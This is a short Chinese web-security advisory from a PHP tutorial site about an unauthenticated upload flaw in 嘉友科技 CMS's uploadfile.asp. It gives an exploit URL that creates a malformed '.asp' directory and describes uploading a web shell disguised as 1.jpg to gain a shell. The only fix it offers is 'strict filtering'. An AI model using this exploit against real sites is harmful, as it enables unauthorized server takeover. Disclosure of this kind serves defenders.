嘉友科技cms上传漏洞及修复 - 网站安全

嘉友科技cms上传漏洞及修复 - 网站安全 - 自学p

来源：自学PHP网时间：2015-04-17 11:59 作者：阅读:次

[导读] 程序采用的上传页uploadfile.asp未进行验证，导致建立畸形目录上传图片木马获取shell漏洞。exp：http://www.2cto.com /admin/uploadfile.asp?uppath=mad.aspupname=uptext=form1.mad.asp他原上传目录是:http:......

程序采用的上传页uploadfile.asp未进行验证，导致建立畸形目录上传图片木马获取shell漏洞。
exp：http://www.2cto.com /admin/uploadfile.asp?uppath=mad.asp&upname=&uptext=form1.mad.asp

他原上传目录是:http://www.2cto.com /uploadfile.asp?uppath=PicPath&upname=&uptext=form1.PicPath

而且他的上传文件没有过滤导致未授权访问。

直接上传小马然后小马后面写为 1.jpg 访问路径查看源代码

修复：严格过滤

毕业论文选题系统上传漏洞及修复 - 网站安全

对护卫神防火墙的分析 - 网站安全 - 自学php

子栏目

嘉友科技cms上传漏洞及修复 - 网站安全 - 自学p

最新评论

添加评论

更多文章推荐

添加评论